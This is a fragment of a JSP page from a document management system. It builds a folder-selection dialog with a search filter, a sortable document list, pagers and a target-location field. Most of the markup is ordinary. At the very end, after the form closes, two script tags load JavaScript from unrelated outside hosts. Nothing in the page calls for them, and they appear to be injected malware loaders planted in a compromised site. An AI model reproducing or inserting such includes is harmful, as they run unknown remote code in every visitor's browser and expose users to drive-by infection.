                </layout:pager>
              </div>
              <!-- Pager Information End -->
            </div>
          </div>
          <script language='javascript'>
          <!--
            var divHeight = (<%=listDmsFolderSelectForm.getPageOffset()%>)*(21);
            if (divHeight < "<%=GlobalConstant.TABLE_MINIMUM_HEIGHT%>"){
              divHeight="<%=GlobalConstant.TABLE_MINIMUM_HEIGHT%>";
            }
            FindObj("list_tab").style.height = divHeight+"px";
          -->
          </script>
    <%}%>
  </div>

  <div id="searchTab" class="tabContent">
    <%if ("S".equals(listDmsFolderSelectForm.getActionType())){%>
    <div> 
      <html:img src='LayoutSpacer.gif' height='1' width='1' />
    </div>

    <layout:listBar>
        <%if (!"M".equals(listDmsFolderSelectForm.getActionType())){%>
          <layout:filterControl/>
        <%}%>
        </layout:listBar>

    <%if (!"M".equals(listDmsFolderSelectForm.getActionType())){%>
    <!-- Search Panel Begin -->
    <div id="filterPanel" class="filterPanel">
        <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
        <div>
            <table>
                <tr>
                    <td class="filterPanelItem" nowrap>
                        <html:select property="basicSearchField" styleClass="form-style-2-short-pulldown">
                        <html:options stringArray='<%=SEARCH_MAP%>'/>
                        </html:select>
                    </td>
                    <td class="filterPanelItem" nowrap>
                        <html:select property='basicSearchType' styleClass="form-style-2-short-pulldown">
                        <html:options listName='criteriaList'/>
                        </html:select>
                    </td>
                    <td class="filterPanelItem" nowrap><html:text property='basicSearchKeyword' maxlength='100' onkeypress='applyFilter();' styleClass="form-style-2-textfield" /></td>
                </tr>
            </table>
        </div>
        <div class="buttonContainer">
          <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpList(listDmsFolderSelectForm, '${listDmsFolderSelectForm.sortAttribute}', '${listDmsFolderSelectForm.sortOrder}'))"/>
          <html:standardButton label="common.label.remove_filter" onClick="return(OpListReset(listDmsFolderSelectForm))"/>
        </div>
        <br style="clear:both" />
        <script language="JavaScript">
        <!--
        function applyFilter(){
            if(event.keyCode==13) {
                OpList(listDmsFolderSelectForm, '<bean:write name='listDmsFolderSelectForm' property='sortAttribute' replace=''/>', '<bean:write name='listDmsFolderSelectForm' property='sortOrder' replace=''/>');
            }
        }
        //-->
        </script>
    </div>
    <!-- Search Panel End -->
    <%}%>
    
    <div id="listContainer">
      <div id="dataGrid" class="listTable">
        <div id="list_tab_search">
          <table>
            <!-- Table Column Header Begin -->
            <tr>
              <layout:columnHeader form="listDmsFolderSelectForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listDmsFolderSelectForm.getSortAttribute()%>" sortOrder="<%=listDmsFolderSelectForm.getSortOrder()%>" copyColumn="false" checkColumn="false" editColumn="false"/>
            </tr>
            <!-- Table Column Header End -->
            <!-- Record Looping Begin -->
            <logic:iterate id="dmsdocument" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
              <tr onMouseDown="setHiddenValueOnLoc(<%=((DmsDocument)dmsdocument).getID()%>, <%=((DmsDocument)dmsdocument).getRootID()%>,'<%=((DmsDocument)dmsdocument).getDocumentType()%>');SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)dmsdocument).getID()%>);">
                <td align="center">
                  <input type="radio" name="basicSelectedID" value="<%=((DmsDocument)dmsdocument).getID()%>" onClick="return(false);">
                </td>
                <td>
                <dms:documentInfo docObject='<%=(DmsDocument)dmsdocument%>' onClick='false' permission='<%=permission%>' rootDocument='<%=rootFolder%>' onClick='false' hasUnderLine='false' />
                </td>
                <td>
                  <%=((DmsDocument)dmsdocument).getReferenceNo()==null? "":((DmsDocument)dmsdocument).getReferenceNo()%>
                </td>
                <td>
                  <%=((DmsDocument)dmsdocument).getDescription()==null? "":((DmsDocument)dmsdocument).getDescription()%>
                </td>
                <td align="left">
                  <% if (((DmsDocument)dmsdocument).getParentID().intValue() !=0 ) { %>
                    <%=docRetrievalManager.getLocationPath(((DmsDocument)dmsdocument).getParentID()).trim()%>
                  <%}else{%>
                    <bean:message key='dms.label.root'/>
                  <%}%>
                </td>
              </tr>
            </logic:iterate>
            <input type="hidden" name='listCnt' value='<bean:write name='listLoopCnt'/>'>
            <!-- Record Looping End -->
          </table>
        </div>

        <!-- Pager Information Begin -->
        <div class="listStatusBar">
          <layout:pager form="listDmsFolderSelectForm" name='<%=LIST_NAME%>'>
          <div class="statement"><layout:pagerInfo/></div>
          <div class="sepBar"><layout:pagerIndex/></div>
          </layout:pager>
        </div>
        <!-- Pager Information End -->

      </div>
    </div>

    <script language='javascript'>
    <!--
      var divHeight = (<%=listDmsFolderSelectForm.getPageOffset()%>)*(21);
      if (divHeight < "<%=GlobalConstant.TABLE_MINIMUM_HEIGHT%>"){
        divHeight="<%=GlobalConstant.TABLE_MINIMUM_HEIGHT%>";
      }
      FindObj("list_tab_search").style.height = divHeight+"px";
    -->
    </script>
    <%}%>
  </div>

  <div>
    <table width="100%">
      <tr>
        <layout:sectionHeader name="dms.label.target_file_location" mandatory="true"/>
        <td class="formLabelSmallMan" width="25%" valign="top"><nobr><bean:message key='dms.label.location'/>:&nbsp;</nobr></td>
        <td class="formFieldSmall" >
          <html:text property="destinationPath" size="70" maxlength="255" value='<%=selectedLocation%>' readonly="true"/>
        </td>
      </tr>
    </table>
  </div>

</layout:tabContainer>


<div id="bottomButtonArea">
  <div id="buttonSection">
    <html:standardButton label="dms.label.new_folder" onClick="return popCreateNewFolder()"/>
    <html:standardButton label="common.label.confirm" onClick="return OptFileSelection()"/>
    <html:standardButton label="common.label.close" onClick="javascript:window.close();"/>
    <%if("true".equals(allowReset)){%>
    <html:standardButton label="common.label.search.clear" onClick="javascript:OptFileSelectionReset()"/>
    <%}%>
  </div>
</div>

</html:form>
<!-- Form Section End -->
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>